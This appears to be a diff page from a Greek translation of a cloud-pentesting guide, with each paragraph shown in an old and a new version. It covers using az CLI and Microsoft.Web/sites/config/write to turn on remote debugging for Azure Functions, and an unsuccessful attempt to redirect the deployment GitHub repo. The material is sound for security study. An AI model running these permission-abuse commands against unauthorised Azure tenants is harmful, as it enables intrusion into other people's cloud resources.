Επίσης είναι δυνατό να συνδεθείτε για να κάνετε αποσφαλμάτωση σε μια εκτελούμενη Azure Function όπως [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ωστόσο, από προεπιλογή η Azure θα απενεργοποιήσει αυτή την επιλογή μετά από 2 ημέρες σε περίπτωση που ο προγραμματιστής ξεχάσει, για να αποφευχθεί η παραμονή ευάλωτων ρυθμίσεων.
|
||||
Είναι επίσης δυνατό να συνδεθείς για να κάνεις debug σε ένα Azure function που εκτελείται, όπως [**εξηγείται στα docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ωστόσο, by default το Azure θα απενεργοποιήσει αυτή την επιλογή σε 2 days σε περίπτωση που ο developer το ξεχάσει, ώστε να αποφεύγονται vulnerable configurations.
|
||||
|
||||
Μπορείτε να ελέγξετε αν μια Function έχει ενεργοποιημένη την αποσφαλμάτωση με:
|
||||
Είναι δυνατό να ελέγξεις αν ένα Function έχει debugging enabled με:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Έχοντας την άδεια `Microsoft.Web/sites/config/write`, είναι επίσης δυνατό να βάλετε μια Function σε debugging mode (η παρακάτω εντολή απαιτεί επίσης τις άδειες `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` και `Microsoft.Web/sites/Read`).
|
||||
Έχοντας το permission `Microsoft.Web/sites/config/write` είναι επίσης δυνατό να θέσεις μια function σε λειτουργία debugging (η παρακάτω εντολή απαιτεί επίσης τα permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` και `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Αλλαγή Github repo
|
||||
|
||||
Προσπάθησα να αλλάξω το Github repo από όπου γίνεται το deploying εκτελώντας τις παρακάτω εντολές αλλά ακόμα κι αν άλλαξε, **ο νέος κώδικας δεν φορτώθηκε** (πιθανόν επειδή περιμένει το Github Action να ενημερώσει τον κώδικα).\
|
||||
Επιπλέον, το **managed identity federated credential δεν ενημερώθηκε** ώστε να επιτρέψει το νέο repository, οπότε φαίνεται πως αυτό δεν είναι πολύ χρήσιμο.
|
||||
Προσπάθησα να αλλάξω το Github repo από όπου γίνεται το deploying εκτελώντας τις ακόλουθες εντολές, αλλά ακόμα κι αν όντως άλλαξε, **ο νέος κώδικας δεν φορτώθηκε** (πιθανότατα επειδή περιμένει το Github Action να ενημερώσει τον κώδικα).\
|
||||
Επιπλέον, το **managed identity federated credential δεν ενημερώθηκε** ώστε να επιτρέπει το νέο repository, οπότε φαίνεται πως αυτό δεν είναι ιδιαίτερα χρήσιμο.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user